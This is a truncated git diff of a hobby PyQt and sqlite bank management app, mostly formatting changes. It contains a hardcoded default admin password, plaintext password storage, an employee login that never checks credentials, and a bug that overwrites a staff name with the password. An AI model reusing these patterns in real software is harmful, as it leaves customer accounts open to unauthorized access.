border-radius: 15px; padding: 10px;", + ) form_layout = QtWidgets.QVBoxLayout(form_frame) form_layout.setSpacing(3) # Define input fields user = create_input_field(form_frame, "User Name: ", min_label_size=(180, 0)) user_balance = create_input_field(form_frame, "Balance: ", min_label_size=(180, 0)) - - + # Add input fields to the form layout form_layout.addWidget(user[0]) form_layout.addWidget(user_balance[0]) if input_fielf: - user_update_balance = create_input_field_V(form_frame, input_fields_label, min_label_size=(180, 0)) + user_update_balance = create_input_field_V( + form_frame, input_fields_label, min_label_size=(180, 0) + ) form_layout.addWidget(user_update_balance[0]) - + # Store the input fields in variables - user_account_name= user[1] + user_account_name = user[1] user_account_name.setReadOnly(True) - user_account_name.setStyleSheet("background-color: #8a8a8a; border: 1px solid #ccc; border-radius: 4px; padding: 8px;") + user_account_name.setStyleSheet( + "background-color: #8a8a8a; border: 1px solid #ccc; border-radius: 4px; padding: 8px;" + ) user_balance_field = user_balance[1] user_balance_field.setReadOnly(True) - user_balance_field.setStyleSheet("background-color: #8a8a8a; border: 1px solid #ccc; border-radius: 4px; padding: 8px;") + user_balance_field.setStyleSheet( + "background-color: #8a8a8a; border: 1px solid #ccc; border-radius: 4px; padding: 8px;" + ) if input_fielf: user_update_balance_field = user_update_balance[1] - user_update_balance_field.setStyleSheet("background-color: #f0f0f0; border: 1px solid #ccc; border-radius: 4px; padding: 8px;") + user_update_balance_field.setStyleSheet( + "background-color: #f0f0f0; border: 1px solid #ccc; border-radius: 4px; padding: 8px;" + ) - # Set the font size for the input fields user_account_name.setFont(FONT_SIZE) user_balance_field.setFont(FONT_SIZE) if input_fielf: user_update_balance_field.setFont(FONT_SIZE) - + # Add a submit button submit_button = create_styled_button(form_frame, "Submit", min_size=(100, 50)) form_layout.addWidget(submit_button) - content_layout.addWidget(form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter) + content_layout.addWidget( + form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) main_layout.addWidget(content_frame) back_btn = create_styled_button(content_frame, "Back", min_size=(100, 50)) back_btn.setStyleSheet(""" @@ -843,48 +1080,61 @@ def update_user(parent, title,input_fields_label,input_fielf:bool=True): back_btn.clicked.connect(lambda: parent.setCurrentIndex(EMPLOYEE_MENU_PAGE)) backend if input_fielf: - return page,(user_account_name,user_balance_field,user_update_balance_field,submit_button) + return page, ( + user_account_name, + user_balance_field, + user_update_balance_field, + submit_button, + ) else: - return page,(user_account_name,user_balance_field,submit_button) + return page, (user_account_name, user_balance_field, submit_button) + # ------------------------------------------------------------------------------------------------------------- # === Main Window Setup === # ------------------------------------------------------------------------------------------------------------- - + + def setup_main_window(main_window: QtWidgets.QMainWindow): """Set up the main window with a stacked widget containing home, admin, and employee pages.""" main_window.setObjectName("MainWindow") main_window.resize(800, 600) main_window.setStyleSheet("background-color: #f0f2f5;") - + central_widget = QtWidgets.QWidget(main_window) main_layout = QtWidgets.QHBoxLayout(central_widget) - + stacked_widget = QtWidgets.QStackedWidget(central_widget) - + # Create pages def switch_to_admin(): stacked_widget.setCurrentIndex(ADMIN_PAGE) - + def switch_to_employee(): stacked_widget.setCurrentIndex(EMPLOYEE_PAGE) - + def exit_app(): QtWidgets.QApplication.quit() - + def admin_login_menu_page(name, password): - try: - # Ideally, here you'd call a backend authentication check - success = backend.check_admin(name, password) - if success: - QtWidgets.QMessageBox.information(stacked_widget, "Login Successful", f"Welcome, {name}!") - stacked_widget.setCurrentIndex(ADMIN_MENU_PAGE) - else: - QtWidgets.QMessageBox.warning(stacked_widget, "Login Failed", "Incorrect name or password.") - except Exception as e: - QtWidgets.QMessageBox.critical(stacked_widget, "Error", f"An error occurred during login: {str(e)}") - # show_popup_message(stacked_widget,"Invalid admin credentials",0) - + try: + # Ideally, here you'd call a backend authentication check + success = backend.check_admin(name, password) + if success: + QtWidgets.QMessageBox.information( + stacked_widget, "Login Successful", f"Welcome, {name}!" + ) + stacked_widget.setCurrentIndex(ADMIN_MENU_PAGE) + else: + QtWidgets.QMessageBox.warning( + stacked_widget, "Login Failed", "Incorrect name or password." + ) + except Exception as e: + QtWidgets.QMessageBox.critical( + stacked_widget, "Error", f"An error occurred during login: {str(e)}" + ) + # show_popup_message(stacked_widget,"Invalid admin credentials",0) + def add_employee_form_submit(name, password, salary, position): if ( len(name) != 0 @@ -893,43 +1143,52 @@ def add_employee_form_submit(name, password, salary, position): and len(position) != 0 ): backend.create_employee(name, password, salary, position) - show_popup_message(stacked_widget,"Employee added successfully",ADMIN_MENU_PAGE) - + show_popup_message( + stacked_widget, "Employee added successfully", ADMIN_MENU_PAGE + ) + else: print("Please fill in all fields") - show_popup_message(stacked_widget,"Please fill in all fields",ADD_EMPLOYEE_PAGE) + show_popup_message( + stacked_widget, "Please fill in all fields", ADD_EMPLOYEE_PAGE + ) + def update_employee_data(name, password, salary, position, name_to_update): try: cur = backend.cur if name_to_update: - cur.execute("UPDATE staff SET Name = ? WHERE name = ?", (name, name_to_update)) - + cur.execute( + "UPDATE staff SET Name = ? WHERE name = ?", (name, name_to_update) + ) + cur.execute("UPDATE staff SET Name = ? WHERE name = ?", (password, name)) - cur.execute("UPDATE staff SET password = ? WHERE name = ?", (password, name)) + cur.execute( + "UPDATE staff SET password = ? WHERE name = ?", (password, name) + ) cur.execute("UPDATE staff SET salary = ? WHERE name = ?", (salary, name)) - cur.execute("UPDATE staff SET position = ? WHERE name = ?", (position, name)) + cur.execute( + "UPDATE staff SET position = ? WHERE name = ?", (position, name) + ) backend.conn.commit() - show_popup_message(stacked_widget,"Employee Upadate successfully",UPDATE_EMPLOYEE_PAGE2) - + show_popup_message( + stacked_widget, "Employee Upadate successfully", UPDATE_EMPLOYEE_PAGE2 + ) + except: - show_popup_message(stacked_widget,"Please fill in all fields",UPDATE_EMPLOYEE_PAGE2) + show_popup_message( + stacked_widget, "Please fill in all fields", UPDATE_EMPLOYEE_PAGE2 + ) - - - # Create Home Page + # Create Home Page home_page = create_home_page( - stacked_widget, - switch_to_admin, - switch_to_employee, - exit_app + stacked_widget, switch_to_admin, switch_to_employee, exit_app ) # ------------------------------------------------------------------------------------------------ # -------------------------------------Admin panel page --------------------------------------- # ------------------------------------------------------------------------------------------------ # Create Admin Login Page admin_page, admin_name, admin_password, admin_submit = create_login_page( - stacked_widget, - title="Admin Login" + stacked_widget, title="Admin Login" ) admin_password.setEchoMode(QtWidgets.QLineEdit.Password) admin_name.setFont(QtGui.QFont("Arial", 10)) @@ -938,33 +1197,52 @@ def update_employee_data(name, password, salary, position, name_to_update): admin_password.setPlaceholderText("Enter your password") admin_submit.clicked.connect( - lambda: admin_login_menu_page( - admin_name.text(), - admin_password.text() - ) + lambda: admin_login_menu_page(admin_name.text(), admin_password.text()) ) # Create Admin Menu Page - admin_menu_page, add_button, update_button, list_button, money_button, back_button = create_admin_menu_page( - stacked_widget + ( + admin_menu_page, + add_button, + update_button, + list_button, + money_button, + back_button, + ) = create_admin_menu_page(stacked_widget) + + add_button.clicked.connect( + lambda: stacked_widget.setCurrentIndex(ADD_EMPLOYEE_PAGE) + ) + update_button.clicked.connect( + lambda: stacked_widget.setCurrentIndex(UPDATE_EMPLOYEE_PAGE1) + ) + list_button.clicked.connect( + lambda: stacked_widget.setCurrentIndex(EMPLOYEE_LIST_PAGE) ) - - add_button.clicked.connect(lambda: stacked_widget.setCurrentIndex(ADD_EMPLOYEE_PAGE)) - update_button.clicked.connect(lambda: stacked_widget.setCurrentIndex(UPDATE_EMPLOYEE_PAGE1)) - list_button.clicked.connect(lambda: stacked_widget.setCurrentIndex(EMPLOYEE_LIST_PAGE)) back_button.clicked.connect(lambda: stacked_widget.setCurrentIndex(HOME_PAGE)) - money_button.clicked.connect(lambda: stacked_widget.setCurrentIndex(ADMIN_TOTAL_MONEY)) + money_button.clicked.connect( + lambda: stacked_widget.setCurrentIndex(ADMIN_TOTAL_MONEY) + ) # Create Add Employee Page - add_employee_page, emp_name, emp_password, emp_salary, emp_position, emp_submit = create_add_employee_page( - stacked_widget, - title="Add Employee" + add_employee_page, emp_name, emp_password, emp_salary, emp_position, emp_submit = ( + create_add_employee_page(stacked_widget, title="Add Employee") ) - + # Update Employee Page u_employee_page1 = get_employee_name(stacked_widget) # apply the update_employee_data function to the submit button - - u_employee_page2 ,u_employee_name, u_employee_password, u_employee_salary, u_employee_position,u_employee_update = create_add_employee_page(stacked_widget,"Update Employee Details",update_btn=True) + + ( + u_employee_page2, + u_employee_name, + u_employee_password, + u_employee_salary, + u_employee_position, + u_employee_update, + ) = create_add_employee_page( + stacked_widget, "Update Employee Details", update_btn=True + ) + def populate_employee_data(): global employee_data if employee_data: @@ -980,20 +1258,32 @@ def populate_employee_data(): u_employee_password.clear() u_employee_salary.clear() u_employee_position.clear() - QtWidgets.QMessageBox.warning(stacked_widget, "No Data", "No employee data available to display.") + QtWidgets.QMessageBox.warning( + stacked_widget, "No Data", "No employee data available to display." + ) + def on_page_changed(index): if index == 6: # update_employee_page2 is at index 6 populate_employee_data() - + # Connect the currentChanged signal to the on_page_changed function stacked_widget.currentChanged.connect(on_page_changed) + def update_employee_data(name, password, salary, position, name_to_update): try: if not name_to_update: - show_popup_message(stacked_widget, "Original employee name is missing.", UPDATE_EMPLOYEE_PAGE2) + show_popup_message( + stacked_widget, + "Original employee name is missing.", + UPDATE_EMPLOYEE_PAGE2, + ) return if not (name or password or salary or position): - show_popup_message(stacked_widget, "Please fill at least one field to update.", UPDATE_EMPLOYEE_PAGE2) + show_popup_message( + stacked_widget, + "Please fill at least one field to update.", + UPDATE_EMPLOYEE_PAGE2, + ) return if name: backend.update_employee_name(name, name_to_update) @@ -1004,71 +1294,106 @@ def update_employee_data(name, password, salary, position, name_to_update): salary = int(salary) backend.update_employee_salary(salary, name_to_update) except ValueError: - show_popup_message(stacked_widget, "Salary must be a valid number.", 5) + show_popup_message( + stacked_widget, "Salary must be a valid number.", 5 + ) return if position: backend.update_employee_position(position, name_to_update) - show_popup_message(stacked_widget, "Employee updated successfully.", ADMIN_MENU_PAGE) + show_popup_message( + stacked_widget, "Employee updated successfully.", ADMIN_MENU_PAGE + ) except Exception as e: - show_popup_message(stacked_widget, f"Error updating employee: {str(e)}",UPDATE_EMPLOYEE_PAGE2,show_cancel=True,cancel_page=ADMIN_MENU_PAGE) + show_popup_message( + stacked_widget, + f"Error updating employee: {str(e)}", + UPDATE_EMPLOYEE_PAGE2, + show_cancel=True, + cancel_page=ADMIN_MENU_PAGE, + ) + u_employee_update.clicked.connect( - lambda: update_employee_data( - u_employee_name.text().strip(), - u_employee_password.text().strip(), - u_employee_salary.text().strip(), - u_employee_position.text().strip(), - employee_data[0] if employee_data else "" + lambda: update_employee_data( + u_employee_name.text().strip(), + u_employee_password.text().strip(), + u_employee_salary.text().strip(), + u_employee_position.text().strip(), + employee_data[0] if employee_data else "", ) ) - emp_submit.clicked.connect( lambda: add_employee_form_submit( - emp_name.text(), - emp_password.text(), - emp_salary.text(), - emp_position.text() + emp_name.text(), emp_password.text(), emp_salary.text(), emp_position.text() ) ) # show employee list page - employee_list_page = show_employee_list_page(stacked_widget,"Employee List") - admin_total_money = show_total_money(stacked_widget,"Total Money") + employee_list_page = show_employee_list_page(stacked_widget, "Employee List") + admin_total_money = show_total_money(stacked_widget, "Total Money") # ------------------------------------------------------------------------------------------------ # -------------------------------------Employee panel page --------------------------------------- # ------------------------------------------------------------------------------------------------ - + # Create Employee Login Page - employee_page, employee_name, employee_password, employee_submit = create_login_page( - stacked_widget, - title="Employee Login" + employee_page, employee_name, employee_password, employee_submit = ( + create_login_page(stacked_widget, title="Employee Login") ) - employee_submit.clicked.connect(lambda: stacked_widget.setCurrentIndex(EMPLOYEE_MENU_PAGE)) - employee_menu_page, E_Create_Account, E_Show_Details, E_add_Balance, E_Withdraw_Money, E_Chack_Balanace, E_Update_Account, E_list_of_all_Members, E_Delete_Account, E_Back= create_employee_menu_page(stacked_widget,"Employee Menu") + employee_submit.clicked.connect( + lambda: stacked_widget.setCurrentIndex(EMPLOYEE_MENU_PAGE) + ) + ( + employee_menu_page, + E_Create_Account, + E_Show_Details, + E_add_Balance, + E_Withdraw_Money, + E_Chack_Balanace, + E_Update_Account, + E_list_of_all_Members, + E_Delete_Account, + E_Back, + ) = create_employee_menu_page(stacked_widget, "Employee Menu") # List of all page - E_Create_Account.clicked.connect(lambda: stacked_widget.setCurrentIndex(EMPLOYEE_CREATE_ACCOUNT_PAGE)) - E_Show_Details.clicked.connect(lambda: stacked_widget.setCurrentIndex(EMPLOYEE_SHOW_DETAILS_PAGE1)) - E_add_Balance.clicked.connect(lambda: stacked_widget.setCurrentIndex(EMPLOYEE_ADD_BALANCE_SEARCH)) - E_Withdraw_Money.clicked.connect(lambda: stacked_widget.setCurrentIndex(EMPLOYEE_WITHDRAW_MONEY_SEARCH)) - E_Chack_Balanace.clicked.connect(lambda: stacked_widget.setCurrentIndex(EMPLOYEE_CHECK_BALANCE_SEARCH)) - E_Update_Account.clicked.connect(lambda: stacked_widget.setCurrentIndex(EMPLOYEE_UPDATE_ACCOUNT_SEARCH)) + E_Create_Account.clicked.connect( + lambda: stacked_widget.setCurrentIndex(EMPLOYEE_CREATE_ACCOUNT_PAGE) + ) + E_Show_Details.clicked.connect( + lambda: stacked_widget.setCurrentIndex(EMPLOYEE_SHOW_DETAILS_PAGE1) + ) + E_add_Balance.clicked.connect( + lambda: stacked_widget.setCurrentIndex(EMPLOYEE_ADD_BALANCE_SEARCH) + ) + E_Withdraw_Money.clicked.connect( + lambda: stacked_widget.setCurrentIndex(EMPLOYEE_WITHDRAW_MONEY_SEARCH) + ) + E_Chack_Balanace.clicked.connect( + lambda: stacked_widget.setCurrentIndex(EMPLOYEE_CHECK_BALANCE_SEARCH) + ) + E_Update_Account.clicked.connect( + lambda: stacked_widget.setCurrentIndex(EMPLOYEE_UPDATE_ACCOUNT_SEARCH) + ) # E_list_of_all_Members.clicked.connect(lambda: stacked_widget.setCurrentIndex(EMPLOYEE_LIST_OF_ALL_MEMBERS_PAGE)) # E_Delete_Account.clicked.connect(lambda: stacked_widget.setCurrentIndex(EMPLOYEE_DELETE_ACCOUNT_PAGE)) # E_Back.clicked.connect(lambda: stacked_widget.setCurrentIndex(EMPLOYEE_MENU_PAGE)) - - employee_create_account_page,all_employee_menu_btn = create_account_page(stacked_widget, "Create Account") - all_employee_menu_btn[6].clicked.connect(lambda: add_account_form_submit( - all_employee_menu_btn[0].text().strip(), - all_employee_menu_btn[1].text().strip(), - all_employee_menu_btn[2].text().strip(), - all_employee_menu_btn[3].text().strip(), - all_employee_menu_btn[5].currentText(), - all_employee_menu_btn[4].text().strip() - )) + + employee_create_account_page, all_employee_menu_btn = create_account_page( + stacked_widget, "Create Account" + ) + all_employee_menu_btn[6].clicked.connect( + lambda: add_account_form_submit( + all_employee_menu_btn[0].text().strip(), + all_employee_menu_btn[1].text().strip(), + all_employee_menu_btn[2].text().strip(), + all_employee_menu_btn[3].text().strip(), + all_employee_menu_btn[5].currentText(), + all_employee_menu_btn[4].text().strip(), + ) + ) def add_account_form_submit(name, age, address, balance, account_type, mobile): if ( len(name) != 0 - and len(age) != 0 + and len(age) != 0 and len(address) != 0 and len(balance) != 0 and len(account_type) != 0 @@ -1077,31 +1402,65 @@ def add_account_form_submit(name, age, address, balance, account_type, mobile): try: balance = int(balance) except ValueError: - show_popup_message(stacked_widget, "Balance must be a valid number", EMPLOYEE_CREATE_ACCOUNT_PAGE) + show_popup_message( + stacked_widget, + "Balance must be a valid number", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) return if balance < 0: - show_popup_message(stacked_widget, "Balance cannot be negative",EMPLOYEE_CREATE_ACCOUNT_PAGE) + show_popup_message( + stacked_widget, + "Balance cannot be negative", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) return - if account_type not in ["Savings", "Current","Fixed Deposit"]: - show_popup_message(stacked_widget, "Invalid account type", EMPLOYEE_CREATE_ACCOUNT_PAGE) + if account_type not in ["Savings", "Current", "Fixed Deposit"]: + show_popup_message( + stacked_widget, "Invalid account type", EMPLOYEE_CREATE_ACCOUNT_PAGE + ) return if len(mobile) != 10: - show_popup_message(stacked_widget, "Mobile number must be 10 digits", EMPLOYEE_CREATE_ACCOUNT_PAGE) + show_popup_message( + stacked_widget, + "Mobile number must be 10 digits", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) return if not mobile.isdigit(): - show_popup_message(stacked_widget, "Mobile number must contain only digits", EMPLOYEE_CREATE_ACCOUNT_PAGE) + show_popup_message( + stacked_widget, + "Mobile number must contain only digits", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) return if not name.isalpha(): - show_popup_message(stacked_widget, "Name must contain only alphabets", EMPLOYEE_CREATE_ACCOUNT_PAGE) + show_popup_message( + stacked_widget, + "Name must contain only alphabets", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) return if not age.isdigit(): - show_popup_message(stacked_widget, "Age must contain only digits", EMPLOYEE_CREATE_ACCOUNT_PAGE) + show_popup_message( + stacked_widget, + "Age must contain only digits", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) return if int(age) < 18: - show_popup_message(stacked_widget, "Age must be greater than 18", EMPLOYEE_CREATE_ACCOUNT_PAGE) + show_popup_message( + stacked_widget, + "Age must be greater than 18", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) return if len(address) < 10: - show_popup_message(stacked_widget, "Address must be at least 10 characters long", EMPLOYEE_CREATE_ACCOUNT_PAGE) + show_popup_message( + stacked_widget, + "Address must be at least 10 characters long", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) return backend.create_customer(name, age, address, balance, account_type, mobile) all_employee_menu_btn[0].setText("") @@ -1109,17 +1468,35 @@ def add_account_form_submit(name, age, address, balance, account_type, mobile): all_employee_menu_btn[2].setText("") all_employee_menu_btn[3].setText("") all_employee_menu_btn[4].setText("") - all_employee_menu_btn[5].currentText(), - show_popup_message(stacked_widget, "Account created successfully", EMPLOYEE_MENU_PAGE, False) + (all_employee_menu_btn[5].currentText(),) + show_popup_message( + stacked_widget, + "Account created successfully", + EMPLOYEE_MENU_PAGE, + False, + ) else: - show_popup_message(stacked_widget, "Please fill in all fields", EMPLOYEE_CREATE_ACCOUNT_PAGE) + show_popup_message( + stacked_widget, + "Please fill in all fields", + EMPLOYEE_CREATE_ACCOUNT_PAGE, + ) # Add pages to stacked widget - - show_bank_user_data_page1,show_bank_user_other1 = create_show_details_page1(stacked_widget, "Show Details") - show_bank_user_data_page2,show_bank_user_other2 = create_show_details_page2(stacked_widget, "Show Details") - - show_bank_user_other1[1].clicked.connect(lambda: show_bank_user_data_page1_submit_btn(int(show_bank_user_other1[0].text().strip()))) - def show_bank_user_data_page1_submit_btn(name:int): + + show_bank_user_data_page1, show_bank_user_other1 = create_show_details_page1( + stacked_widget, "Show Details" + ) + show_bank_user_data_page2, show_bank_user_other2 = create_show_details_page2( + stacked_widget, "Show Details" + ) + + show_bank_user_other1[1].clicked.connect( + lambda: show_bank_user_data_page1_submit_btn( + int(show_bank_user_other1[0].text().strip()) + ) + ) + + def show_bank_user_data_page1_submit_btn(name: int): account_data = backend.get_details(name) if account_data: show_bank_user_other1[0].setText("") @@ -1132,8 +1509,10 @@ def show_bank_user_data_page1_submit_btn(name:int): show_bank_user_other2[6].setText(str(account_data[6])) stacked_widget.setCurrentIndex(EMPLOYEE_SHOW_DETAILS_PAGE2) else: - show_popup_message(stacked_widget, "Account not found", EMPLOYEE_SHOW_DETAILS_PAGE1) - + show_popup_message( + stacked_widget, "Account not found", EMPLOYEE_SHOW_DETAILS_PAGE1 + ) + def setup_balance_operation_flow( stacked_widget, title_search, @@ -1145,15 +1524,19 @@ def setup_balance_operation_flow( stacked_page_index, search_index, page_index, - need_input=True + need_input=True, ): # Create search UI - search_page, search_widgets = search_result(stacked_widget, title_search, placeholder) + search_page, search_widgets = search_result( + stacked_widget, title_search, placeholder + ) search_input = search_widgets[0] search_button = search_widgets[1] # Create update UI - form_page, form_widgets = update_user(stacked_widget, title_form, action_button_text,need_input) + form_page, form_widgets = update_user( + stacked_widget, title_form, action_button_text, need_input + ) if need_input: name_field, balance_field, amount_field, action_button = form_widgets else: @@ -1163,7 +1546,9 @@ def on_search_submit(): try: account_number = int(search_input.text().strip()) except ValueError: - show_popup_message(stacked_widget, "Please enter a valid account number.", search_index) + show_popup_message( + stacked_widget, "Please enter a valid account number.", search_index + ) return if backend.check_acc_no(account_number): @@ -1172,7 +1557,13 @@ def on_search_submit(): balance_field.setText(str(account_data[4])) stacked_widget.setCurrentIndex(page_index) else: - show_popup_message(stacked_widget, "Account not found", search_index, show_cancel=True, cancel_page=EMPLOYEE_MENU_PAGE) + show_popup_message( + stacked_widget, + "Account not found", + search_index, + show_cancel=True, + cancel_page=EMPLOYEE_MENU_PAGE, + ) def on_action_submit(): try: @@ -1184,12 +1575,15 @@ def on_action_submit(): search_input.setText("") show_popup_message(stacked_widget, success_message, EMPLOYEE_MENU_PAGE) except ValueError: - show_popup_message(stacked_widget, "Enter valid numeric amount.", page_index) + show_popup_message( + stacked_widget, "Enter valid numeric amount.", page_index + ) search_button.clicked.connect(on_search_submit) action_button.clicked.connect(on_action_submit) return search_page, form_page + # Add Balance Flow add_balance_search_page, add_balance_page = setup_balance_operation_flow( stacked_widget=stacked_widget, @@ -1229,8 +1623,9 @@ def on_action_submit(): stacked_page_index=EMPLOYEE_CHECK_BALANCE_SEARCH, search_index=EMPLOYEE_CHECK_BALANCE_SEARCH, page_index=EMPLOYEE_CHECK_BALANCE_PAGE, - need_input = False + need_input=False, ) + def find_and_hide_submit_button(page): # Find all QPushButton widgets in the page buttons = page.findChildren(QtWidgets.QPushButton) @@ -1240,10 +1635,14 @@ def find_and_hide_submit_button(page): break find_and_hide_submit_button(check_balance_page) - + # Update Employee details - update_empolyee_search_page,update_empolyee_search_other = search_result(stacked_widget, "Update Employee Details", "Enter Employee ID: ") - update_employee_page,update_employee_other = create_account_page(stacked_widget, "Update Employee", True) + update_empolyee_search_page, update_empolyee_search_other = search_result( + stacked_widget, "Update Employee Details", "Enter Employee ID: " + ) + update_employee_page, update_employee_other = create_account_page( + stacked_widget, "Update Employee", True + ) name_edit = update_employee_other[0] Age_edit = update_employee_other[1] Address_edit = update_employee_other[2] @@ -1251,13 +1650,18 @@ def find_and_hide_submit_button(page): Mobile_number_edit = update_employee_other[4] account_type_dropdown = update_employee_other[5] # name_edit, Age_edit,Address_edit,Balance_edit,Mobile_number_edit, account_type_dropdown ,submit_button - - update_empolyee_search_other[1].clicked.connect(lambda:update_employee_search_submit()) - update_employee_other[6].clicked.connect(lambda:update_employee_submit()) + + update_empolyee_search_other[1].clicked.connect( + lambda: update_employee_search_submit() + ) + update_employee_other[6].clicked.connect(lambda: update_employee_submit()) + def update_employee_search_submit(): try: - user_data = backend.get_details(int(update_empolyee_search_other[0].text().strip())) - print("Featch data: ",user_data) + user_data = backend.get_details( + int(update_empolyee_search_other[0].text().strip()) + ) + print("Featch data: ", user_data) name_edit.setText(str(user_data[1])) Age_edit.setText(str(user_data[2])) Address_edit.setText(str(user_data[3])) @@ -1267,85 +1671,93 @@ def update_employee_search_submit(): account_type_dropdown.setCurrentText(str(user_data[5])) stacked_widget.setCurrentIndex(EMPLOYEE_UPDATE_ACCOUNT_PAGE) except ValueError: - show_popup_message(stacked_widget, "Enter valid numeric employee ID.", EMPLOYEE_MENU_PAGE) - + show_popup_message( + stacked_widget, "Enter valid numeric employee ID.", EMPLOYEE_MENU_PAGE + ) + def update_employee_submit(): try: - user_data = backend.get_details(int(update_empolyee_search_other[0].text().strip())) - name=name_edit.text().strip() + user_data = backend.get_details( + int(update_empolyee_search_other[0].text().strip()) + ) + name = name_edit.text().strip() age = int(Age_edit.text().strip()) address = Address_edit.text().strip() mobile_number = int(Mobile_number_edit.text().strip()) account_type = account_type_dropdown.currentText() - print(name,age,address,mobile_number,account_type) - backend.update_name_in_bank_table(name,user_data[0]) - backend.update_age_in_bank_table(age,user_data[0]) - backend.update_address_in_bank_table(address,user_data[0]) - backend.update_address_in_bank_table(address,user_data[0]) - backend.update_mobile_number_in_bank_table(mobile_number,user_data[0]) - backend.update_acc_type_in_bank_table(account_type,user_data[0]) - - show_popup_message(stacked_widget, "Employee details updated successfully", EMPLOYEE_MENU_PAGE) + print(name, age, address, mobile_number, account_type) + backend.update_name_in_bank_table(name, user_data[0]) + backend.update_age_in_bank_table(age, user_data[0]) + backend.update_address_in_bank_table(address, user_data[0]) + backend.update_address_in_bank_table(address, user_data[0]) + backend.update_mobile_number_in_bank_table(mobile_number, user_data[0]) + backend.update_acc_type_in_bank_table(account_type, user_data[0]) + + show_popup_message( + stacked_widget, + "Employee details updated successfully", + EMPLOYEE_MENU_PAGE, + ) stacked_widget.setCurrentIndex(EMPLOYEE_MENU_PAGE) except ValueError as e: print(e) - show_popup_message(stacked_widget, "Enter valid numeric employee ID.", EMPLOYEE_MENU_PAGE) - - - stacked_widget.addWidget(home_page)#0 - stacked_widget.addWidget(admin_page)#1 - stacked_widget.addWidget(employee_page)#2 - stacked_widget.addWidget(admin_menu_page)#3 - stacked_widget.addWidget(add_employee_page)#4 - stacked_widget.addWidget(u_employee_page1)#5 - stacked_widget.addWidget(u_employee_page2)#6 - stacked_widget.addWidget(employee_list_page)#7 - stacked_widget.addWidget(admin_total_money)#8 - stacked_widget.addWidget(employee_menu_page)#9 - stacked_widget.addWidget(employee_create_account_page)#10 - stacked_widget.addWidget(show_bank_user_data_page1)#11 - stacked_widget.addWidget(show_bank_user_data_page2)#12 - stacked_widget.addWidget(add_balance_search_page)#13 - stacked_widget.addWidget(add_balance_page)#14 - stacked_widget.addWidget(withdraw_money_search_page)#15 - stacked_widget.addWidget(withdraw_money_page)#16 - stacked_widget.addWidget(check_balance_search_page)#17 - stacked_widget.addWidget(check_balance_page)#18 - stacked_widget.addWidget(update_empolyee_search_page)#19 - stacked_widget.addWidget(update_employee_page)#20 - - - + show_popup_message( + stacked_widget, "Enter valid numeric employee ID.", EMPLOYEE_MENU_PAGE + ) + + stacked_widget.addWidget(home_page) # 0 + stacked_widget.addWidget(admin_page) # 1 + stacked_widget.addWidget(employee_page) # 2 + stacked_widget.addWidget(admin_menu_page) # 3 + stacked_widget.addWidget(add_employee_page) # 4 + stacked_widget.addWidget(u_employee_page1) # 5 + stacked_widget.addWidget(u_employee_page2) # 6 + stacked_widget.addWidget(employee_list_page) # 7 + stacked_widget.addWidget(admin_total_money) # 8 + stacked_widget.addWidget(employee_menu_page) # 9 + stacked_widget.addWidget(employee_create_account_page) # 10 + stacked_widget.addWidget(show_bank_user_data_page1) # 11 + stacked_widget.addWidget(show_bank_user_data_page2) # 12 + stacked_widget.addWidget(add_balance_search_page) # 13 + stacked_widget.addWidget(add_balance_page) # 14 + stacked_widget.addWidget(withdraw_money_search_page) # 15 + stacked_widget.addWidget(withdraw_money_page) # 16 + stacked_widget.addWidget(check_balance_search_page) # 17 + stacked_widget.addWidget(check_balance_page) # 18 + stacked_widget.addWidget(update_empolyee_search_page) # 19 + stacked_widget.addWidget(update_employee_page) # 20 + main_layout.addWidget(stacked_widget) main_window.setCentralWidget(central_widget) - + # Set initial page stacked_widget.setCurrentIndex(9) - + return stacked_widget, { "admin_name": admin_name, "admin_password": admin_password, "admin_submit": admin_submit, "employee_name": employee_name, "employee_password": employee_password, - "employee_submit": employee_submit + "employee_submit": employee_submit, } + def main(): """Main function to launch the application.""" app = QtWidgets.QApplication(sys.argv) main_window = QtWidgets.QMainWindow() stacked_widget, widgets = setup_main_window(main_window) - + # Example: Connect submit buttons to print input values - main_window.show() sys.exit(app.exec_()) + + # ------------------------------------------------------------------------------------------------------------- if __name__ == "__main__": main() # TO-DO: # 1.refese the employee list page after add or delete or update employee - diff --git a/bank_managment_system/backend.py b/bank_managment_system/backend.py index 673df2dc430..2b0d2efaca5 100644 --- a/bank_managment_system/backend.py +++ b/bank_managment_system/backend.py @@ -1,5 +1,7 @@ import sqlite3 -import os +import os + + # Making connection with database def connect_database(): global conn @@ -34,8 +36,8 @@ def connect_database(): # Only insert admin if not exists cur.execute("SELECT COUNT(*) FROM admin") if cur.fetchone()[0] == 0: - cur.execute("INSERT INTO admin VALUES (?, ?)", ('admin', 'admin123')) - + cur.execute("INSERT INTO admin VALUES (?, ?)", ("admin", "admin123")) + conn.commit() # Fetch last account number to avoid duplicate or incorrect numbering @@ -44,134 +46,171 @@ def connect_database(): global acc_no acc_no = 1 if acc is None else acc[0] + 1 + # Check admin details in database def check_admin(name, password): cur.execute("SELECT * FROM admin WHERE name = ? AND pass = ?", (name, password)) return cur.fetchone() is not None + # Create employee in database def create_employee(name, password, salary, position): - cur.execute("INSERT INTO staff VALUES (?, ?, ?, ?)", (name, password, salary, position)) + cur.execute( + "INSERT INTO staff VALUES (?, ?, ?, ?)", (name, password, salary, position) + ) conn.commit() + # Check employee login details def check_employee(name, password): cur.execute("SELECT 1 FROM staff WHERE name = ? AND pass = ?", (name, password)) return cur.fetchone() is not None + # Create customer in database def create_customer(name, age, address, balance, acc_type, mobile_number): global acc_no cur.execute( "INSERT INTO bank VALUES (?, ?, ?, ?, ?, ?, ?)", - (acc_no, name, age, address, balance, acc_type, mobile_number) + (acc_no, name, age, address, balance, acc_type, mobile_number), ) conn.commit() acc_no += 1 return acc_no - 1 + # Check if account number exists def check_acc_no(acc_no): cur.execute("SELECT 1 FROM bank WHERE acc_no = ?", (acc_no,)) return cur.fetchone() is not None + # Get customer details def get_details(acc_no): cur.execute("SELECT * FROM bank WHERE acc_no = ?", (acc_no,)) detail = cur.fetchone() return detail if detail else False + # Update customer balance def update_balance(new_money, 